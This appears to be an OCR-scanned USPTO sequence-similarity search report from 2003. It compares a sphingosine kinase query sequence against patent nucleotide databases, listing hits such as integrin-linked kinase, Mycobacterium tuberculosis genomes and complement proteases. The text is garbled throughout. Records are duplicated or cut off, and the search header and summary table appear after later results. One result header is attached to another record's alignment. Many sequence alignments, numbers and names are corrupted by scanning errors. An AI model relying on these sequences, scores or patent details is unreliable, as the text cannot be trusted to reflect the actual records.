
STATE: CA

COUNTRY: USA

ZIP: 94301

COMPUTER READABLE FORM:

MEDIUM TYPE: Diskette

COMPUTER: IBM Compatible

OPERATING SYSTEM: DOS

SOFTWARE: FASTSEQ for Windows Version 2.0

CURRENT APPLICATION DATA:

APPLICATION NUMBER: US/09/035,706

FILING DATE:

CLASSIFICATION:

PRIOR APPLICATION DATA:

APPLICATION NUMBER:

ATTORNEY/AGENT INFORMATION:

NAME: Sherwood, Pamela J

REGISTRATION NUMBER: 36,677

TELECOMMUNICATION INFORMATION:

TELEPHONE: 650-327-3400

TELEFAX: 650-327-3231

TELEX:

INFORMATION FOR SEQ ID NO: 1:

SEQUENCE CHARACTERISTICS:

LENGTH: 1789 base pairs

TYPE: nucleic acid

STRANDEDNESS: double

TOPOLOGY: linear

MOLECULE TYPE: CDNA

US-09-035-706-1

Alignment Scores:

Pred. No.: 142 Length: 1789

Score: 8.00 Matches: 8

Percent Similarity: 100.00% Conservative: 0

Best Local Similarity: 100.00% Mismatches: 0

Query Match: 2.08% Indels: 0

DB: 3 Gaps: 0

US-09-784-810A-2 (1-384) x US-09-035-706-1 (1-1789)

QY 161 LeuArgSerPheSerValLeuSer 168
|||||

Db 239 TTGAGTCGTCCTCCGTTGTGCC 216

RESULT 5

US-08-955-841-1/C

Sequence 1, Application US/08955841

Patent No. 6013782

GENERAL INFORMATION:

APPLICANT: Dedhar, Shoukat

APPLICANT: Hannigan, Greg

TITLE OF INVENTION: Integrin-Linked Kinase and
Its Uses

NUMBER OF SEQUENCES: 11

CORRESPONDENCE ADDRESS:

ADDRESSEE: Bozicevic & Reed, LLP

STREET: 285 Hamilton Avenue, Suite 200

CITY: Palo Alto

STATE: CA

COUNTRY: USA

ZIP: 94301

COMPUTER READABLE FORM:

MEDIUM TYPE: Diskette

COMPUTER: IBM Compatible

OPERATING SYSTEM: DOS

SOFTWARE: FASTSEQ for Windows Version 2.0

CURRENT APPLICATION DATA:

APPLICATION NUMBER: US/08/955,841

FILING DATE:

CLASSIFICATION: 800

PRIOR APPLICATION DATA:

APPLICATION NUMBER:

ATTORNEY/AGENT INFORMATION:

NAME: Sherwood, Pamela J

REGISTRATION NUMBER: 36,677

REFERENCE/DOCKET NUMBER: KIN-2C1P1

TELECOMMUNICATION INFORMATION:

TELEPHONE: 650-327-3400

TELEFAX: 650-327-3231

TELEX:

INFORMATION FOR SEQ ID NO: 1:

SEQUENCE CHARACTERISTICS:

LENGTH: 1789 base pairs

TYPE: nucleic acid

STRANDEDNESS: double

TOPOLOGY: linear

MOLECULE TYPE: CDNA

US-08-955-841-1

Alignment Scores:

Pred. No.: 142 Length: 1789

Score: 8.00 Matches: 8

Percent Similarity: 100.00% Conservative: 0

Best Local Similarity: 100.00% Mismatches: 0

Query Match: 2.08% Indels: 0

DB: 3 Gaps: 0

US-09-784-810A-2 (1-384) x US-08-955-841-1 (1-1789)

QY 161 LeuArgSerPheSerValLeuSer 168
|||||

Db 239 TTGAGTCGTCCTCCGTTGTGCC 216

US-09-428-219-3/C

Sequence 3, Application US/09428219

Patent No. 6177273

GENERAL INFORMATION:

APPLICANT: C. Frank Bennett

APPLICANT: Lex M. Cowsett

TITLE OF INVENTION: ANTISENSE MODULATION OF INTEGRIN-LINKED KINASE EXPRESSION

FILE REFERENCE: RTS-0101

CURRENT APPLICATION NUMBER: US/09/428,219

CURRENT FILING DATE: 1999-10-27

NUMBER OF SEQ ID NOS: 89

SEQ ID NO: 3

LENGTH: 1789

TYPE: DNA

ORGANISM: Homo sapiens

FEATURE:

NAME/KEY: CDS

LOCATION: (157)..(1515)

```
US-09-428-219-3
Alignment Scores:
Pred. No.: 142      Length: 1789
Score: 8.00      Matches: 8
Percent Similarity: 100.00%      Conservative: 0
Best Local Similarity: 100.00%      Mismatches: 0
Query Match: 2.08%      Indels: 0
DB: 4      Gaps: 0

US-09-784-810A-2 (1-384) x US-09-428-219-3 (1-1789)
QY 161 LeuArgSerPheSerValIleuSer 168
DB 239 TTGAGGTCGCTTCCTCCGCTGTGCC 216

RESULT 7
US-09-390-425-1/c
; Sequence 1, Application US/09390425
; Patent No. 6338958
; GENERAL INFORMATION:
; APPLICANT: Dedhar, Shoukat
; APPLICANT: Hannigan, Greg
; TITLE OF INVENTION: Interglin-Linked Kinase and its Uses
; FILE REFERENCE: KIN-2CON
; CURRENT APPLICATION NUMBER: US/09/390,425
; EARLIER FILING DATE: 1999-09-03
; EARLIER APPLICATION NUMBER: US60/009,074
; EARLIER FILING DATE: 1995-12-21
; EARLIER APPLICATION NUMBER: US08/752,345
; NUMBER OF SEQ ID NOS: 16
; SOFTWARE: FastSeq for Windows Version 4.0
; SEQ ID NO. 1
; LENGTH: 1789
; TYPE: DNA
; ORGANISM: H. sapiens
; FEATURE:
; NAME/KEY: CDS
; LOCATION: (157)...(1512)
; NAME/KEY: Other
; LOCATION: (0)...(0)
US-09-390-425-1

Alignment Scores:
Pred. No.: 142      Length: 1789
Score: 8.00      Matches: 8
Percent Similarity: 100.00%      Conservative: 0
Best Local Similarity: 100.00%      Mismatches: 0
Query Match: 2.08%      Indels: 0
DB: 4      Gaps: 0

US-09-784-810A-2 (1-384) x US-09-390-425-1 (1-1789)
QY 161 LeuArgSerPheSerValIleuSer 168
DB 239 TTGAGGTCGCTTCCTCCGCTGTGCC 216

RESULT 8
US-09-566-906-1/c
; Sequence 1, Application US/09566906
; Patent No. 6369205
; GENERAL INFORMATION:
; APPLICANT: Dedhar, Shoukat
; APPLICANT: Hannigan, Greg
; TITLE OF INVENTION: Interglin-Linked Kinase and its Uses
; FILE REFERENCE: KIN-2CON
; CURRENT APPLICATION NUMBER: US/09/566,906
; EARLIER FILING DATE: 2000-05-09
; EARLIER APPLICATION NUMBER: 09/390,425
; EARLIER FILING DATE: 1999-09-03
; EARLIER APPLICATION NUMBER: US08/752,345
; PRIOR FILING DATE: 1996-11-19

; NUMBER OF SEQ ID NOS: 16
; SOFTWARE: FastSeq for Windows Version 4.0
; SEQ ID NO. 1
; LENGTH: 1789
; TYPE: DNA
; ORGANISM: H. sapiens
; FEATURE:
; NAME/KEY: CDS
; LOCATION: (157)...(1512)
; NAME/KEY: Other
; LOCATION: (0)...(0)
US-09-566-906-1

Alignment Scores:
Pred. No.: 142      Length: 1789
Score: 8.00      Matches: 8
Percent Similarity: 100.00%      Conservative: 0
Best Local Similarity: 100.00%      Mismatches: 0
Query Match: 2.08%      Indels: 0
DB: 4      Gaps: 0

US-09-784-810A-2 (1-384) x US-09-566-906-1 (1-1789)
QY 161 LeuArgSerPheSerValIleuSer 168
DB 239 TTGAGGTCGCTTCCTCCGCTGTGCC 216

RESULT 9
US-08-321-686B-1
; Sequence 1, Application US/08321686B
; Patent No. 6153427
; GENERAL INFORMATION:
; APPLICANT: King, Donna
; APPLICANT: Schneider, Gary B.
; TITLE OF INVENTION: Treatment of
; TITLE OF INVENTION: Osteopenias and No. 6153427-Human Transgenic
; TITLE OF INVENTION: Mammals Expressing Therapeutic
; TITLE OF INVENTION: Transgenes
; NUMBER OF SEQUENCES: 1
; CORRESPONDENCE ADDRESS:
; ADDRESSEE: Wallenstein & Wagner, Ltd.
; STREET: 311 South Wacker Drive
; CITY: Chicago
; STATE: Illinois
; COUNTRY: USA
; ZIP: 60606
; COMPUTER READABLE FORM:
; MEDIUM TYPE: Diskette, 3.50 inch
; MEDIUM TYPE: 800 Kb storage
; COMPUTER: IBM compatible
; OPERATING SYSTEM: WordPerfect 5.1
; SOFTWARE: Simple Text ASCII (IBM format)
; CURRENT APPLICATION DATA:
; APPLICATION NUMBER: US/08/321,686B
; FILING DATE: October 12, 1994
; CLASSIFICATION: 800
; PRIOR APPLICATION DATA: not
; PRIOR APPLICATION DATA: applicable
; ATTORNEY/AGENT INFORMATION:
; NAME: Barry, Alan L.
; REGISTRATION NUMBER: 30,819
; REFERENCE/DOCKET NUMBER: 1017P021
; TELECOMMUNICATION INFORMATION:
; TELEPHONE: (312)554-3300
; TELEFAX: (312)554-3301
; INFORMATION FOR SEQ ID NO: 1:
; SEQUENCE CHARACTERISTICS:
; LENGTH: 4456 bp
; TYPE: nucleic acid
; STRANDEDNESS: single
; TOPOLOGY: linear
US-08-321-686B-1
```

```

Alignment Scores:
Pred. No.: 327 Length: 4456
Score: 8.00 Matches: 8
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 2.08% Indels: 0
DB: 3 Gaps: 0

US-09-784-810A-2 (1-384) x US-08-321-686B-1 (1-4456)
OY 231 GlnGlyProValAspAlaHisLeu 238
DB 2797 CAGGTCCTGTGTGACGCTCACCTA 2820

RESULT 10
US-09-735-934A-3/c
; Sequence 3, Application US/09735934A
; Patent No. 6372468
; GENERAL INFORMATION:
; APPLICANT: LI, JIAYIN et al
; TITLE OF INVENTION: ISOLATED HUMAN KINASE PROTEINS, NUCLEIC
; TITLE OF INVENTION: ACID MOLECULES ENCODING HUMAN KINASE PROTEINS, AND USES
; FILE REFERENCE: C1000851
; CURRENT APPLICATION NUMBER: US/09/735,934A
; NUMBER OF SEQ ID NOS: 4
; SOFTWARE: FASTSEQ for Windows Version 4.0
; SEQ ID NO 3
; LENGTH: 43950
; TYPE: DNA
; ORGANISM: Homo sapiens
US-09-735-934A-3

Alignment Scores:
Pred. No.: 2.68e+03 Length: 43950
Score: 8.00 Matches: 8
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 2.08% Indels: 0
DB: 4 Gaps: 0

US-09-784-810A-2 (1-384) x US-09-735-934A-3 (1-43950)
OY 2 AspProAlaGlyGlyProArgGly 9
DB 1151 GACCGCGCGGGGGGCCCGGGGG 1128

RESULT 11
US-09-345-882-1
; Sequence 1, Application US/09345882
; Patent No. 6399373
; GENERAL INFORMATION:
; APPLICANT: Bouguetelerc, Lydie
; TITLE OF INVENTION: A NUCLEIC ACID ENCODING A RETINOBLASTOMA BINDING PROTEIN (RBP-7)
; TITLE OF INVENTION: AND POLYMORPHIC MARKERS ASSOCIATED WITH SAID NUCLEIC ACID.
; FILE REFERENCE: GENSET.031A
; CURRENT APPLICATION NUMBER: US/09/345,882
; CURRENT FILING DATE: 1999-06-30
; PRIOR APPLICATION NUMBER: US 60/091,315
; PRIOR FILING DATE: 1998-06-30
; PRIOR APPLICATION NUMBER: US 60/111,909
; PRIOR FILING DATE: 1998-12-10
; SOFTWARE: Patent.pm
; SEQ ID NO 1
; LENGTH: 162450
; TYPE: DNA
; ORGANISM: Homo sapiens
; FEATURE:
; NAME/KEY: allele
; LOCATION: 72794
; OTHER INFORMATION: 5-143-101 : polymorphic base A or C

```

```

OTHER INFORMATION: 5-124-273 : polymorphic base A or G
FEATURE:
NAME/KEY: allele
LOCATION: 88073
OTHER INFORMATION: 5-127-261 : polymorphic base A or C
FEATURE:
NAME/KEY: allele
LOCATION: 90842
OTHER INFORMATION: 99-1437-325 : polymorphic base A or G
FEATURE:
NAME/KEY: allele
LOCATION: 93714
OTHER INFORMATION: 5-128-60 : polymorphic base deletion of GT
FEATURE:
NAME/KEY: allele
LOCATION: 97122
OTHER INFORMATION: 99-1442-224 : polymorphic base G or T
FEATURE:
NAME/KEY: allele
LOCATION: 97152
OTHER INFORMATION: 5-129-144 : polymorphic base deletion of T
FEATURE:
NAME/KEY: allele
LOCATION: 99098
OTHER INFORMATION: 5-130-257 : polymorphic base A or G
FEATURE:
NAME/KEY: allele
LOCATION: 99117
OTHER INFORMATION: 5-130-276 : polymorphic base A or G
FEATURE:
NAME/KEY: allele
LOCATION: 103806
OTHER INFORMATION: 5-131-395 : polymorphic base A or T
FEATURE:
NAME/KEY: allele
LOCATION: 106940
OTHER INFORMATION: 5-133-375 : polymorphic base insertion of A
FEATURE:
NAME/KEY: allele
LOCATION: 108106
OTHER INFORMATION: 5-135-155 : polymorphic base insertion of A
FEATURE:
NAME/KEY: allele
LOCATION: 108149
OTHER INFORMATION: 5-135-198 : polymorphic base insertion of GTTT
FEATURE:
NAME/KEY: allele
LOCATION: 108308
OTHER INFORMATION: 5-135-357 : polymorphic base A or G
FEATURE:
NAME/KEY: allele
LOCATION: 108471
OTHER INFORMATION: 5-136-174 : polymorphic base C or T
FEATURE:
NAME/KEY: allele
LOCATION: 134134
OTHER INFORMATION: 5-140-120 : polymorphic base C or T
FEATURE:
NAME/KEY: allele
LOCATION: 134362
OTHER INFORMATION: 5-140-348 : polymorphic base insertion of A
FEATURE:
NAME/KEY: allele
LOCATION: 134374
OTHER INFORMATION: 5-140-361 : polymorphic base insertion of CA
FEATURE:
NAME/KEY: allele
LOCATION: 146328
OTHER INFORMATION: 5-143-84 : polymorphic base A or G
FEATURE:
NAME/KEY: allele
LOCATION: 146345
OTHER INFORMATION: 5-143-101 : polymorphic base A or C

```

```

NAME/KEY allele
LOCATION: 103783..103828
OTHER INFORMATION: polymorphic fragment 5-131-395 SEQ ID36
FEATURE:
NAME/KEY allele
LOCATION: 103783..103828
OTHER INFORMATION: polymorphic fragment 5-131-395 SEQ ID57
FEATURE:
NAME/KEY allele
LOCATION: 106918..106966
OTHER INFORMATION: polymorphic fragment 5-133-375 SEQ ID37
FEATURE:
NAME/KEY allele
LOCATION: 106918..106966
OTHER INFORMATION: polymorphic fragment 5-133-375 SEQ ID58
FEATURE:
NAME/KEY allele
LOCATION: 108084..108130
OTHER INFORMATION: polymorphic fragment 5-135-155 SEQ ID38
FEATURE:
NAME/KEY allele
LOCATION: 108084..108130
OTHER INFORMATION: polymorphic fragment 5-135-155 SEQ ID59
FEATURE:
NAME/KEY allele
LOCATION: 108127..108177
OTHER INFORMATION: polymorphic fragment 5-135-198 SEQ ID39
FEATURE:
NAME/KEY allele
LOCATION: 108127..108177
OTHER INFORMATION: polymorphic fragment 5-135-198 SEQ ID60
FEATURE:

Alignment Scores:
Pred. No.:      8.84e+03      Length:      162450
Score:          8.00          Matches:      8
Percent Similarity: 100.00%   Conservative: 0
Best Local Similarity: 100.00% Mismatches:      0
Query Match:     2.08%       Indels:        0
DB:              4           Gaps:          0

US-09-784-810A-2 (1-384) x US-09-345-882-1 (1-162450)

QY      64 VALARGSERGLUGLLENGLYARG 71
      |||||||
Db      272 GTCCGGAGTGAGGACCTGCTGCG 295

RESULT 12
US-09-103-840A-2/c
; Sequence 2, Application US/09103840A
; Patent No. 6294328
; GENERAL INFORMATION:
; APPLICANT: FLEISCHMAN, Robert D.
; APPLICANT: WHITE, Owen R.
; APPLICANT: FRASER, Claire M.
; APPLICANT: VENTER, John C.
; TITLE OF INVENTION: DNA SEQUENCES FOR STRAIN ANALYSIS IN MYCOBACTERIUM
; FILE REFERENCE: 24366-20007.00
; CURRENT APPLICATION NUMBER: US/09/103,840A
; CURRENT FILING DATE: 1998-06-24
; NUMBER OF SEQ ID NOS: 2
; SOFTWARE: PatentIn Ver. 2.1
; SEQ ID NO 2
; LENGTH: 4403765
; TYPE: DNA
; ORGANISM: Mycobacterium tuberculosis
; FEATURE:
; OTHER INFORMATION: CDC 1551
; OTHER INFORMATION: "n" bases at various positions throughout the sequence
; OTHER INFORMATION: represent a, t, c or g
; US-09-103-840A-2

```

```
Alignment Scores:
Pred. No.: 1.66e+05 Length: 4403765
Score: 8.00 Matches: 8
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 2.08% Indels: 0
DB: 4 Gaps: 0

US-09-784-810A-2 (1-384) x US-09-103-840A-2 (1-4403765)
OY 7 ProArgGlyValLeuProArgPro 14
Db 430396 CCTCGCGGGGTTCTTCACGACCA 430373

RESULT 13
US-09-103-840A-1/c
; Sequence 1, Application US/09103840A
; Patent No. 6294328
; GENERAL INFORMATION:
; APPLICANT: FLEISCHMAN, Robert D.
; APPLICANT: FRASER, Owen R.
; APPLICANT: VENTER, John C.
; TITLE OF INVENTION: DNA SEQUENCES FOR STRAIN ANALYSIS IN MYCOBACTERIUM
; FILE REFERENCE: 24366-20007.00
; CURRENT APPLICATION NUMBER: US/09/103,840A
; CURRENT FILING DATE: 1998-06-24
; NUMBER OF SEQ ID NOS: 2
; SOFTWARE: PatentIn Ver. 2.1
; SEQ ID NO 1
; LENGTH: 4411529
; TYPE: DNA
; ORGANISM: Mycobacterium tuberculosis
; OTHER INFORMATION: H37Rv
US-09-103-840A-1

Alignment Scores:
Pred. No.: 1.66e+05 Length: 4411529
Score: 8.00 Matches: 8
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 2.08% Indels: 0
DB: 4 Gaps: 0

US-09-784-810A-2 (1-384) x US-09-103-840A-1 (1-4411529)
OY 7 ProArgGlyValLeuProArgPro 14
Db 430313 CCTCGCGGGGTTCTTCACGACCA 430290

RESULT 14
US-08-177-109A-3/c
; Sequence 3, Application US/08177109A
; Patent No. 5869615
; GENERAL INFORMATION:
; APPLICANT: Dennis E. Hourcade and Teresa J. Oglesby
; TITLE OF INVENTION: MODIFIED COMPLEMENT PROTEASES
; NUMBER OF SEQUENCES: 62
; CORRESPONDENCE ADDRESS:
; ADDRESSEE: Patrea L. Pabst
; STREET: 2800 One Atlantic Center
; STREET: 1201 West Peachtree Street
; CITY: Atlanta
; STATE: Georgia
; COUNTRY: USA
; ZIP: 30309-3450
; COMPUTER READABLE FORM:
; MEDIUM TYPE: Floppy disk
; OPERATING SYSTEM: PC-DOS/MS-DOS
; SOFTWARE: PatentIn Release #1.0, Version #1.25
; CURRENT APPLICATION DATA:
; APPLICATION NUMBER: US 08/177,109
; FILING DATE: 03-JAN-1994
; CLASSIFICATION: 514
; ATTORNEY/AGENT INFORMATION:
; NAME: Pabst, Patrea L.
; REGISTRATION NUMBER: 31,284
; REFERENCE/DOCKET NUMBER: WU 107
; TELECOMMUNICATION INFORMATION:
; TELEPHONE: (404) 873-8794
; TELEFAX: (404) 873-8795
; INFORMATION FOR SEQ ID NO: 3:
; SEQUENCE CHARACTERISTICS:
; LENGTH: 33 base pairs
; TYPE: nucleic acid
; STRANDEDNESS: single
; TOPOLOGY: linear
; MOLECULE TYPE: CDNA
; HYPOTHETICAL: NO
; ANTI-SENSE: NO
US-08-177-109A-3

APPLICATION NUMBER: US/08/177,109A
FILING DATE: 03-JAN-1994
CLASSIFICATION: 514
ATTORNEY/AGENT INFORMATION:
NAME: Pabst, Patrea L.
REGISTRATION NUMBER: 31,284
REFERENCE/DOCKET NUMBER: WU 107
TELECOMMUNICATION INFORMATION:
TELEPHONE: (404) 873-8794
TELEFAX: (404) 873-8795
INFORMATION FOR SEQ ID NO: 3:
SEQUENCE CHARACTERISTICS:
LENGTH: 33
Matches: 7
Conservative: 0
Mismatches: 0
Indels: 0
Gaps: 0

US-09-784-810A-2 (1-384) x US-08-177-109A-3 (1-33)
OY 208 GlyArgLeuAlaThrLeuPro 214
Db 26 GGTGACTGCGCACTTCCG 6

RESULT 15
US-08-687-706-3/c
; Sequence 3, Application US/08687706
; Patent No. 5928892
; GENERAL INFORMATION:
; APPLICANT: Dennis E. Hourcade and Teresa J. Oglesby
; TITLE OF INVENTION: MODIFIED COMPLEMENT PROTEASES
; NUMBER OF SEQUENCES: 62
; CORRESPONDENCE ADDRESS:
; ADDRESSEE: Patrea L. Pabst
; STREET: 2800 One Atlantic Center
; STREET: 1201 West Peachtree Street
; CITY: Atlanta
; STATE: Georgia
; COUNTRY: USA
; ZIP: 30309-3450
; COMPUTER READABLE FORM:
; MEDIUM TYPE: Floppy disk
; COMPUTER: IBM PC compatible
; OPERATING SYSTEM: PC-DOS/MS-DOS
; SOFTWARE: PatentIn Release #1.0, Version #1.25
; CURRENT APPLICATION DATA:
; APPLICATION NUMBER: US/08/687,706
; FILING DATE: 26-JUL-1996
; CLASSIFICATION: 514
; PRIOR APPLICATION DATA:
; APPLICATION NUMBER: US 08/177,109
; FILING DATE: 03-JAN-1994
; CLASSIFICATION: 514
; ATTORNEY/AGENT INFORMATION:
; NAME: Pabst, Patrea L.
; REGISTRATION NUMBER: 31,284
; REFERENCE/DOCKET NUMBER: WU 107 DIV
; TELECOMMUNICATION INFORMATION:
; TELEPHONE: (404) 873-8794
; TELEFAX: (404) 873-8795
; INFORMATION FOR SEQ ID NO: 3:
; SEQUENCE CHARACTERISTICS:
```

LENGTH: 33 base pairs
 TYPE: nucleic acid
 STRANDEDNESS: single
 TOPOLOGY: linear
 MOLECULE TYPE: cDNA
 HYPOTHETICAL: NO
 ANTI-SENSE: NO
 US-08-687-706-3

Alignment Scores:
 Pred. No.: 35.2
 Score: 7.00
 Percent Similarity: 100.00%
 Best Local Similarity: 100.00%
 Query Match: 1.82%
 DB: 2
 Length: 33
 Matches: 7
 Conservative: 0
 Mismatches: 0
 Indels: 0
 Gaps: 0

US-09-784-810A-2 (1-384) x US-08-687-706-3 (1-33)

QY 208 GYARGLeuAlaThrLeuPro 214
 ||||||||||||||||
 Db 26 GGTGACCTCGGACACTCTCCG 6

Search completed: July 12, 2003, 21:48:22
 Job time : 1510 secs

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM protein - nucleic search, using frame_plus_p2n model

Run on: July 12, 2003, 18:17:53 ; Search time 292 Seconds

(without alignments)
2961.532 Million cell updates/sec

Title: US-09-784-810A-2

Perfect score: 384

Sequence: 1 MDPAGPRGVLPKRCRVLYL.....CVPPEPMKPOQMPPEEPL 384

Scoring table:

OLIGO	
Xgapop 60.0 , Xgapext 60.0	
Ygapop 60.0 , Ygapext 60.0	
Fgapop 6.0 , Fgapext 7.0	
Delop 6.0 , Delext 7.0	

Searched: 2185239 segs, 112599159 residues

Word size: 1

Total number of hits satisfying chosen parameters: 4368727

Minimum DB seq length: 0
Maximum DB seq length: 200000000

Post-processing: Listing first 45 summaries

Command line parameters:

-MODEL=frame_p2n.model -DEV=xlh
-Q=/cgn2_1/USPto.spool/US09784810/runat_11072003_103504_27188/app_query.fasta.1.583
-DB=N_Geneseq.101002 -QFMT=fastap -SUFFIX=olig.rng -MINMATCH=0.1 -LOOPL=0
-LOOPEXT=0 -UNITS=bits -START=1 -END=1 -MATRIX=oligo -TRANS=human40.cdi
-LIST=45 -DOCALIGN=200 -THR_SCORE=quality -THR_MIN=1 -ALIGN=15 -MODE=LOCAL
-OUTFMT=plc -NORM=ext -HEAPSIZE=500 -MINLEN=0 -MAXLEN=200000000
-USER=US09784810_@C@N_1_1_263_@runat_11072003_103504_27188 -NCPU=6 -ICPU=3
-NO_MMAP -LARGEMEMORY -NEG_SCORES=0 -WAIT -DSPBLOCK=100 -LONGLOG
-DEV_TIMEOUT=120 -WARN_TIMEOUT=30 -THREADS=1 -XGAPOP=60 -XGAPEXT=60 -FGAPOP=6
-FGAPEXT=7 -YGAPOP=60 -YGAPEXT=60 -DELOP=6 -DELEXT=7

Database :

N_Geneseq.101002:*

- 1: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1980.DAT.*
- 2: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1981.DAT.*
- 3: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1982.DAT.*
- 4: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1983.DAT.*
- 5: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1984.DAT.*
- 6: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1985.DAT.*
- 7: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1986.DAT.*
- 8: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1987.DAT.*
- 9: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1988.DAT.*
- 10: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1989.DAT.*
- 11: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1990.DAT.*
- 12: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1991.DAT.*
- 13: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1992.DAT.*
- 14: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1993.DAT.*
- 15: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1994.DAT.*
- 16: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1995.DAT.*
- 17: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1996.DAT.*
- 18: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1997.DAT.*
- 19: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1998.DAT.*
- 20: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA1999.DAT.*
- 21: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA2000.DAT.*
- 22: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA2001A.DAT.*
- 23: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA2001B.DAT.*
- 24: /SIDS2/gcgdata/geneseq/geneseqn-emb1/NA2002.DAT.*

Pred. No. is the number of results predicted by chance to have a score greater than or equal to the score of the result being printed, and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	DB ID	Description
1	384	100.0	1600	22 AAD14424	Human sphingosine
2	144	37.5	1173	24 ABL59532	Human sphingosine
3	144	37.5	1205	22 AAC84161	Human sphingosine
4	144	37.5	1573	21 AAT75676	DNA encoding a hum
5	144	37.5	1719	21 AAD04477	Human sphingosine
6	144	37.5	1821	22 AAH16415	Human cDNA sequenc
7	144	37.5	1872	22 AAH15652	Human cDNA sequenc
8	141	36.7	1562	24 ABL90618	Human polynucleoti
9	117	30.5	1438	22 ABL59336	Human polynucleoti
10	115	29.9	1200	22 AAT11132	Human polynucleoti
11	115	29.9	1533	20 AAV84490	Human secreted pro
12	115	29.9	1533	22 ABA83273	Human secreted pro
13	106	27.6	1447	21 AAA50508	Human sphingosine
14	80	20.8	240	22 AAD04478	Conserved region D
15	75	19.5	675	22 AAH07214	Human cDNA clone (
16	63	16.4	296	22 AAS24477	Human ovarian PCR-
17	63	16.4	296	22 AAB33083	Human ovarian tumo
18	56	14.6	587	22 AAH10443	Human cDNA clone (
19	43	11.2	604	22 ABL66446	Human cDNA clone (
20	39	10.2	394	24 ABL66446	Lung cancer relate
21	33	8.6	1559	21 AA247168	Mouse sphingosine
22	33	8.6	1759	22 AAD14425	Mouse consensus sp
23	33	8.6	1815	21 AA247167	Mouse sphingosine
24	25	4.9	30	24 ABL60764	Human SPK1 cDNA c
25	23	2.3	65	24 ABL60764	Mouse spliced tran
26	9	2.3	1117	22 AAS02402	Human secreted pro
27	9	2.3	1280	21 AAC33647	Arabidopsis thalia
28	9	2.3	1394	24 ABQ54324	Human ovarian anti
29	9	2.3	1521	22 AAD08644	Human kinase (PKIN
30	9	2.3	1578	23 AAS85330	DNA encoding novel
31	9	2.3	2136	22 AAK94172	Human full-length
32	9	2.3	2380	22 AAT41817	Human cDNA for sph
33	9	2.3	2380	24 ABL59533	Human sphingosine
34	9	2.3	2422	23 AAS85331	DNA encoding novel
35	9	2.3	5330	19 ABA18278	Bovine differentia
36	9	2.3	11096	22 ABA18278	Human nervous syst
37	9	2.3	18609	22 AAS21769	Human gene for col
38	9	2.3	25	21 AAA50512	Sphingosine kinase
39	8	2.1	25	21 AAA50513	Probe, SR BOX, for
40	8	2.1	28	22 AAD04490	Human SNP oligonuc
41	8	2.1	51	22 AAL30926	Sequence of intron
42	8	2.1	149	14 AAO43676	Sequence of human
43	8	2.1	242	9 AAN80878	Human secreted pro
44	8	2.1	244	21 AAC10623	
45	8	2.1	244	21 AAC10623	

ALIGNMENTS

RESULT 1	ALIGNMENTS
AAD14424	
ID AAD14424 standard; cDNA; 1600 BP.	
XX	
AC AAD14424;	
XX	
DT 01-NOV-2001 (first entry)	
XX	
DE Human sphingosine kinase (Sphk) cDNA #1.	
XX	
KW Human; sphingosine kinase; Sphk; restenosis; ischemia; gene therapy;	
KW antisense therapy; cancer; sphingolipid; signalling molecule; apoptosis;	
KW cytosolic; tumor necrosis factor-alpha; TNF; atherosclerosis; lymphoma;	
KW leukaemia; vasotropic; cell proliferative disorder; vascular disease; ss.	
OS Homo sapiens.	
XX	
XX	
FH Key Location/Qualifiers	


```
XX
PN MO200227028-A1.
XX
PD 04-APR-2002.
XX
PF 27-SEP-2001; 2001MO-US30366.
XX
PR 28-SEP-2000; 2000US-0676052.
XX
PA (ATAI-) ATAIRGIN TECHNOLOGIES INC.
XX
PI Skinner MK, Patton JT, Chaudhary J;
XX
DR WPI; 2002-402054/43.
XX
PT Identifying tumor characteristics in a tissue sample taken from a
PT patient, involves determining the copy number or expression level of
PT genes associated with lipid metabolism, synthesis or action
XX
PS Example 1; Page 90; 113pp; English.
XX
CC The present invention describes a method for identifying tumour
CC characteristics, comprising measuring a copy number or expression level
CC of at least two genes associated with lipid metabolism, synthesis, or
CC action in cells from a patient tissue sample, and comparing the results
CC with a copy number or expression level of the genes in a normal cell.
CC Also described is an array of nucleic acid polymers immobilised on a
CC solid support, comprising a solid support, at least two different nucleic
CC acid polymers which are each specific for a different gene associated
CC with lipid metabolism, synthesis or action, where each nucleic acid
CC polymer is located at a predetermined position on the solid support, and
CC the array comprises nucleic acid polymers which are specific for less
CC than 100 genes other than the selected genes. The method is useful for
CC determining tumour characteristics in a tissue sample taken from a
CC patient. The present sequence represents a human lipid-associated gene
CC related cDNA sequence, which is used in the exemplification of the
CC present invention.
XX
SQ Sequence 1173 BP; 188 A; 349 C; 390 G; 246 T; 0 other:
XX
XX
Alignment Scores:
Pred. No.: 5,31e-134 Length: 1173
Score: 144.00 Matches: 144
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 37.50% Indels: 0
DB: 24 Gaps: 0
US-09-784-810A-2 (1-384) x ABL59532 (1-1173)
